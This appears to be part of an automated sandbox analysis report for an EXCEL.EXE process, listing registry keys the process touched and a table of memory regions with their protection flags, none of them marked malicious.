C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 6
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 7
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 8
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 9
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 10
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 11
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 12
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 13
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 14
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 15
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 16
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 17
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 18
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 19
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 20
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
F3DAC
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Max Display
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Max Display
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 1
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 2
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 3
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 4
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 5
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 6
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 7
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 8
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 9
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 10
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 11
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 12
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 13
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 14
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 15
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 16
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 17
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 18
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 19
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 20
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
F3ED5
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
LastPurgeTime
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
1033
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
1033
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
EXCELFiles
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
ProductFiles
|
|
There are 96 hidden registries, click here to show them.
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
E4741F9000
|
unkown
|
page read and write
|
|
|
|
1C0C4D7D000
|
unkown
|
page read and write
|
|
|
|
18C31227000
|
unkown
|
page read and write
|
|
|
|
2E1E37E2000
|
unkown
|
page read and write
|
|
|
|
7FFA36220000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
7FF57FF10000
|
unkown
|
page readonly
|
|
|
|
2E1E408F000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1E4101000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FFA35FB0000
|
unkown
|
page read and write
|
|
|
|
7FF5559B1000
|
unkown
|
page readonly
|
|
|
|
2E1E413D000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF50A2A3000
|
unkown
|
page readonly
|
|
|
|
B58CCFE000
|
unkown
|
page read and write
|
|
|
|
2E1FAB10000
|
unkown
|
page readonly
|
|
|
|
7FF555AEA000
|
unkown
|
page readonly
|
|
|
|
7FF517290000
|
unkown
|
page readonly
|
|
|
|
1C0C4C02000
|
unkown
|
page read and write
|
|
|
|
2E1E3F85000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA7000
|
unkown
|
page read and write
|
|
|
|
2E1E2890000
|
heap private
|
page read and write
|
|
|
|
1C0C448B000
|
unkown
|
page read and write
|
|
|
|
1C0C4D6C000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF575608000
|
unkown
|
page readonly
|
|
|
|
2E1FAFC0000
|
unkown
|
page readonly
|
|
|
|
1C0C4D70000
|
unkown
|
page read and write
|
|
|
|
7FF58364F000
|
unkown
|
page readonly
|
|
|
|
2E1FB13E000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FFA36110000
|
unkown
|
page read and write
|
|
|
|
1C0C5263000
|
unkown
|
page read and write
|
|
|
|
2E1FB740000
|
unkown
|
page read and write
|
|
|
|
2E1FB480000
|
unkown
|
page read and write
|
|
|
|
7FF575691000
|
unkown
|
page readonly
|
|
|
|
7FF555B34000
|
unkown
|
page readonly
|
|
|
|
18C311C0000
|
unkown
|
page read and write
|
|
|
|
2E1E3A3E000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF5755FE000
|
unkown
|
page readonly
|
|
|
|
2E1FB146000
|
unkown
|
page read and write
|
|
|
|
2E1E27B0000
|
unkown
|
page read and write
|
|
|
|
7FFA35F13000
|
unkown
|
page read and write
|
|
|
|
2E1E3242000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FB2EF000
|
unkown
|
page read and write
|
|
|
|
21E4B7CB000
|
heap default
|
page read and write
|
|
|
|
1F7B7800000
|
unkown
|
page read and write
|
|
|
|
21E4B7D6000
|
heap default
|
page read and write
|
|
|
|
1C0C4D5C000
|
unkown
|
page read and write
|
|
|
|
2A95CA13000
|
unkown
|
page read and write
|
|
|
|
1C0C4D63000
|
unkown
|
page read and write
|
|
|
|
7FF583627000
|
unkown
|
page readonly
|
|
|
|
2E1E3E06000
|
unkown
|
page read and write
|
|
|
|
2E1E0FD0000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4400000
|
unkown
|
page read and write
|
|
|
|
2E1FB6B0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D58000
|
unkown
|
page read and write
|
|
|
|
2E1E40E1000
|
unkown
|
page read and write
|
|
|
|
1C0C5202000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1E0DEC000
|
heap default
|
page read and write
|
|
|
|
A84DDFF000
|
unkown
|
page read and write
|
|
|
|
2E1FB500000
|
unkown
|
page read and write
|
|
|
|
38ED3FB000
|
unkown
|
page read and write
|
|
|
|
18C3123C000
|
unkown
|
page read and write
|
|
|
|
7FF583205000
|
unkown
|
page readonly
|
|
|
|
2E1E3DFD000
|
unkown
|
page read and write
|
|
|
|
1C0C4D6D000
|
unkown
|
page read and write
|
|
|
|
7FF50AACE000
|
unkown
|
page readonly
|
|
|
|
2E1FB720000
|
unkown
|
page read and write
|
|
|
|
2E1FB130000
|
unkown
|
page read and write
|
|
|
|
2E1E2960000
|
unkown
|
page readonly
|
|
|
|
7FFA361D0000
|
unkown
|
page read and write
|
|
|
|
1C0C44B0000
|
unkown
|
page read and write
|
|
|
|
2E1FB720000
|
unkown
|
page read and write
|
|
|
|
7FF575684000
|
unkown
|
page readonly
|
|
|
|
7FFA36270000
|
unkown
|
page read and write
|
|
|
|
1C0C5263000
|
unkown
|
page read and write
|
|
|
|
1C0C4D58000
|
unkown
|
page read and write
|
|
|
|
7FF58037F000
|
unkown
|
page readonly
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
7FF5755E4000
|
unkown
|
page readonly
|
|
|
|
2E1E3FAE000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D81000
|
unkown
|
page read and write
|
|
|
|
2E1FB14A000
|
unkown
|
page read and write
|
|
|
|
7FFA361E0000
|
unkown
|
page read and write
|
|
|
|
2E1E1010000
|
unkown
|
page readonly
|
|
|
|
7FF50AB62000
|
unkown
|
page readonly
|
|
|
|
B58D17E000
|
unkown
|
page read and write
|
|
|
|
B58D3FE000
|
unkown
|
page read and write
|
|
|
|
7FF555AEE000
|
unkown
|
page readonly
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
1F7B784A000
|
unkown
|
page read and write
|
|
|
|
18C31300000
|
unkown
|
page read and write
|
|
|
|
7FF555B69000
|
unkown
|
page readonly
|
|
|
|
7FF5835EE000
|
unkown
|
page readonly
|
|
|
|
2E1E474D000
|
unkown
|
page read and write
|
|
|
|
2E1E3A63000
|
unkown
|
page read and write
|
|
|
|
7FFA36160000
|
unkown
|
page read and write
|
|
|
|
2E1FB147000
|
unkown
|
page read and write
|
|
|
|
B58CF7E000
|
unkown
|
page read and write
|
|
|
|
7FF575692000
|
unkown
|
page readonly
|
|
|
|
7FFA36100000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA7000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF583426000
|
unkown
|
page readonly
|
|
|
|
2A95C940000
|
unkown
|
page readonly
|
|
|
|
18C31A02000
|
unkown
|
page read and write
|
|
|
|
2E1E0E66000
|
heap default
|
page read and write
|
|
|
|
1F7B784F000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1FB2C1000
|
unkown
|
page read and write
|
|
|
|
7FF58043A000
|
unkown
|
page readonly
|
|
|
|
2E1E45E7000
|
unkown
|
page read and write
|
|
|
|
126E2FE000
|
unkown
|
page read and write
|
|
|
|
7FF5835C4000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA9000
|
unkown
|
page read and write
|
|
|
|
1C0C4D76000
|
unkown
|
page read and write
|
|
|
|
7FFA35F10000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1F7B7900000
|
unkown
|
page read and write
|
|
|
|
2E1E3FF9000
|
unkown
|
page read and write
|
|
|
|
E473F7F000
|
unkown
|
page read and write
|
|
|
|
2E1FB270000
|
heap private
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FFA36200000
|
unkown
|
page read and write
|
|
|
|
21E4B910000
|
unkown
|
page readonly
|
|
|
|
FEE11BF000
|
unkown
|
page read and write
|
|
|
|
2E1FB720000
|
unkown
|
page read and write
|
|
|
|
18C31229000
|
unkown
|
page read and write
|
|
|
|
7FF50AAC4000
|
unkown
|
page readonly
|
|
|
|
7FF583152000
|
unkown
|
page readonly
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
2E1FAF78000
|
unkown
|
page read and write
|
|
|
|
2E1E40BE000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FB14C000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FB13D000
|
unkown
|
page read and write
|
|
|
|
7FFA36150000
|
unkown
|
page read and write
|
|
|
|
7FF583162000
|
unkown
|
page readonly
|
|
|
|
2A95CA3C000
|
unkown
|
page read and write
|
|
|
|
1C0C4D55000
|
unkown
|
page read and write
|
|
|
|
B58D277000
|
unkown
|
page read and write
|
|
|
|
7FF50AA75000
|
unkown
|
page readonly
|
|
|
|
7FF50A873000
|
unkown
|
page readonly
|
|
|
|
1C0C4D79000
|
unkown
|
page read and write
|
|
|
|
7FF574EF3000
|
unkown
|
page readonly
|
|
|
|
1C0C4D63000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2A95CB13000
|
unkown
|
page read and write
|
|
|
|
2E1E4533000
|
unkown
|
page read and write
|
|
|
|
7FF583207000
|
unkown
|
page readonly
|
|
|
|
7FF555B66000
|
unkown
|
page readonly
|
|
|
|
7FF517374000
|
unkown
|
page readonly
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1E453C000
|
unkown
|
page read and write
|
|
|
|
1C0C4D48000
|
unkown
|
page read and write
|
|
|
|
2E1E39C5000
|
unkown
|
page read and write
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1E35D2000
|
unkown
|
page read and write
|
|
|
|
2E1FB750000
|
unkown
|
page read and write
|
|
|
|
7FF5755CF000
|
unkown
|
page readonly
|
|
|
|
7FF516E50000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
B58CEF8000
|
unkown
|
page read and write
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
2E1FB4B0000
|
unkown
|
page read and write
|
|
|
|
21E4BB10000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1E379E000
|
unkown
|
page read and write
|
|
|
|
7FF5800C7000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
7FF583644000
|
unkown
|
page readonly
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
2A95CB02000
|
unkown
|
page read and write
|
|
|
|
7FF50A836000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FFA360A2000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1E2AE0000
|
unkown
|
page read and write
|
|
|
|
E47417E000
|
unkown
|
page read and write
|
|
|
|
7FF58349A000
|
unkown
|
page readonly
|
|
|
|
1C0C4D71000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF58361C000
|
unkown
|
page readonly
|
|
|
|
7FFA36140000
|
unkown
|
page read and write
|
|
|
|
2E1E4745000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
21E4B8C0000
|
unkown
|
page read and write
|
|
|
|
7FF50A5DE000
|
unkown
|
page readonly
|
|
|
|
7FF583634000
|
unkown
|
page readonly
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1E0E2C000
|
heap default
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1E3DD7000
|
unkown
|
page read and write
|
|
|
|
1C0C4B40000
|
unkown
|
page readonly
|
|
|
|
1C0C4DBC000
|
unkown
|
page read and write
|
|
|
|
E47510E000
|
unkown
|
page read and write
|
|
|
|
1C0C5202000
|
unkown
|
page read and write
|
|
|
|
1C0C5202000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
E474F8E000
|
unkown
|
page read and write
|
|
|
|
1C0C4D6D000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
7FF50A973000
|
unkown
|
page readonly
|
|
|
|
7FFA36020000
|
unkown
|
page execute and read and write
|
|
|
|
2E1FB4F0000
|
unkown
|
page read and write
|
|
|
|
2E1E3DE0000
|
unkown
|
page read and write
|
|
|
|
7FF51737A000
|
unkown
|
page readonly
|
|
|
|
1C0C4BE0000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA7000
|
unkown
|
page read and write
|
|
|
|
1C0C4D42000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA9000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
7FF50AAE9000
|
unkown
|
page readonly
|
|
|
|
7FF5172BF000
|
unkown
|
page readonly
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
2E1E393B000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA1000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
1C0C44A6000
|
unkown
|
page read and write
|
|
|
|
2E1FB4C0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D74000
|
unkown
|
page read and write
|
|
|
|
7FF50A8AE000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF5803C6000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1E40B4000
|
unkown
|
page read and write
|
|
|
|
2E1E3F9E000
|
unkown
|
page read and write
|
|
|
|
1C0C4D8C000
|
unkown
|
page read and write
|
|
|
|
1F7B8200000
|
unkown
|
page readonly
|
|
|
|
1C0C4D47000
|
unkown
|
page read and write
|
|
|
|
7FF5559EB000
|
unkown
|
page readonly
|
|
|
|
2E1E37EC000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
18C31200000
|
unkown
|
page read and write
|
|
|
|
2E1E37F1000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF58353D000
|
unkown
|
page readonly
|
|
|
|
2E1FB260000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
1C0C4502000
|
unkown
|
page read and write
|
|
|
|
7FF555ADA000
|
unkown
|
page readonly
|
|
|
|
2E1FB250000
|
unkown
|
page readonly
|
|
|
|
1C0C4D80000
|
unkown
|
page read and write
|
|
|
|
1C0C4D97000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA3000
|
unkown
|
page read and write
|
|
|
|
2E1FB134000
|
unkown
|
page read and write
|
|
|
|
7FF5172C7000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
E473FFD000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF555A54000
|
unkown
|
page readonly
|
|
|
|
1C0C4D62000
|
unkown
|
page read and write
|
|
|
|
2E1E38D2000
|
unkown
|
page read and write
|
|
|
|
7FF583370000
|
unkown
|
page readonly
|
|
|
|
7FF5755A0000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB137000
|
unkown
|
page read and write
|
|
|
|
7FFA35FBC000
|
unkown
|
page execute and read and write
|
|
|
|
7FF50AAB4000
|
unkown
|
page readonly
|
|
|
|
7FFA35F20000
|
unkown
|
page read and write
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
2E1FB2E7000
|
unkown
|
page read and write
|
|
|
|
7FF50A865000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
FEE15FB000
|
unkown
|
page read and write
|
|
|
|
2E1E2AF0000
|
unkown
|
page read and write
|
|
|
|
2A95CA27000
|
unkown
|
page read and write
|
|
|
|
2A95C860000
|
unkown
|
page readonly
|
|
|
|
2E1E2D1E000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
2E1E4518000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1E3A52000
|
unkown
|
page read and write
|
|
|
|
7FF58033C000
|
unkown
|
page readonly
|
|
|
|
1C0C4D5C000
|
unkown
|
page read and write
|
|
|
|
38ECF3E000
|
unkown
|
page read and write
|
|
|
|
1F7B7908000
|
unkown
|
page read and write
|
|
|
|
2E1E0DF6000
|
heap default
|
page read and write
|
|
|
|
7FF5802B4000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1E475A000
|
unkown
|
page read and write
|
|
|
|
2E1FB610000
|
unkown
|
page readonly
|
|
|
|
1C0C4461000
|
unkown
|
page read and write
|
|
|
|
7FFA35FB6000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1F7B7889000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
1C0C4D97000
|
unkown
|
page read and write
|
|
|
|
2E1E396F000
|
unkown
|
page read and write
|
|
|
|
18C31130000
|
heap private
|
page read and write
|
|
|
|
2E1E452B000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF5835CF000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB138000
|
unkown
|
page read and write
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
7FF5803C9000
|
unkown
|
page readonly
|
|
|
|
7FF50A6EA000
|
unkown
|
page readonly
|
|
|
|
2E1FB144000
|
unkown
|
page read and write
|
|
|
|
2E1FB720000
|
unkown
|
page read and write
|
|
|
|
7FFA361F0000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
18C31400000
|
unkown
|
page readonly
|
|
|
|
1C0C445D000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1E4158000
|
unkown
|
page read and write
|
|
|
|
A84DCFF000
|
unkown
|
page read and write
|
|
|
|
E47423F000
|
unkown
|
page read and write
|
|
|
|
1C0C4516000
|
unkown
|
page read and write
|
|
|
|
2E1E3742000
|
unkown
|
page read and write
|
|
|
|
2E1E476A000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
1C0C4D92000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
E47407E000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
7FF5802BC000
|
unkown
|
page readonly
|
|
|
|
2E1E2AF0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
1C0C4BE0000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2A95CA4E000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FFA36197000
|
unkown
|
page read and write
|
|
|
|
2E1FB135000
|
unkown
|
page read and write
|
|
|
|
2A95D202000
|
unkown
|
page read and write
|
|
|
|
7FF5803A4000
|
unkown
|
page readonly
|
|
|
|
126E57E000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1FAF50000
|
unkown
|
page read and write
|
|
|
|
7FF5556C5000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA9000
|
unkown
|
page read and write
|
|
|
|
2E1E2820000
|
unkown
|
page readonly
|
|
|
|
E47508D000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1E3F7C000
|
unkown
|
page read and write
|
|
|
|
7FFA36170000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1E4022000
|
unkown
|
page read and write
|
|
|
|
21E4B6D0000
|
unkown
|
page readonly
|
|
|
|
2E1E0D80000
|
unkown
|
page readonly
|
|
|
|
7FF583424000
|
unkown
|
page readonly
|
|
|
|
7FF50AAE6000
|
unkown
|
page readonly
|
|
|
|
1C0C4D78000
|
unkown
|
page read and write
|
|
|
|
7FFA35FE6000
|
unkown
|
page execute and read and write
|
|
|
|
2E1E3EBB000
|
unkown
|
page read and write
|
|
|
|
2E1FB142000
|
unkown
|
page read and write
|
|
|
|
21E4B7FA000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
7FF5835DC000
|
unkown
|
page readonly
|
|
|
|
1F7B787F000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FFA36139000
|
unkown
|
page read and write
|
|
|
|
2E1FB146000
|
unkown
|
page read and write
|
|
|
|
2E1E27F0000
|
unkown
|
page read and write
|
|
|
|
7FF50AB03000
|
unkown
|
page readonly
|
|
|
|
2E1E0E68000
|
heap default
|
page read and write
|
|
|
|
FEE16F7000
|
unkown
|
page read and write
|
|
|
|
2E1E3F0C000
|
unkown
|
page read and write
|
|
|
|
7FF50AA6E000
|
unkown
|
page readonly
|
|
|
|
1C0C44F3000
|
unkown
|
page read and write
|
|
|
|
E4744BE000
|
unkown
|
page read and write
|
|
|
|
1C0C4D3E000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1E4003000
|
unkown
|
page read and write
|
|
|
|
126E27E000
|
unkown
|
page read and write
|
|
|
|
1F7B7870000
|
unkown
|
page read and write
|
|
|
|
2E1E3F56000
|
unkown
|
page read and write
|
|
|
|
7FFA35F0D000
|
unkown
|
page execute and read and write
|
|
|
|
126E3FB000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
A84DE79000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF5831B6000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB14A000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF555B1C000
|
unkown
|
page readonly
|
|
|
|
2E1E455F000
|
unkown
|
page read and write
|
|
|
|
2E1FB137000
|
unkown
|
page read and write
|
|
|
|
2E1FB701000
|
unkown
|
page read and write
|
|
|
|
2E1E3DCF000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
7FF5755A5000
|
unkown
|
page readonly
|
|
|
|
7FF50AA7B000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB4E0000
|
unkown
|
page read and write
|
|
|
|
21E4B7E5000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA3000
|
unkown
|
page read and write
|
|
|
|
2E1E3FD3000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FFA36280000
|
unkown
|
page read and write
|
|
|
|
126E4FB000
|
unkown
|
page read and write
|
|
|
|
1C0C4D24000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
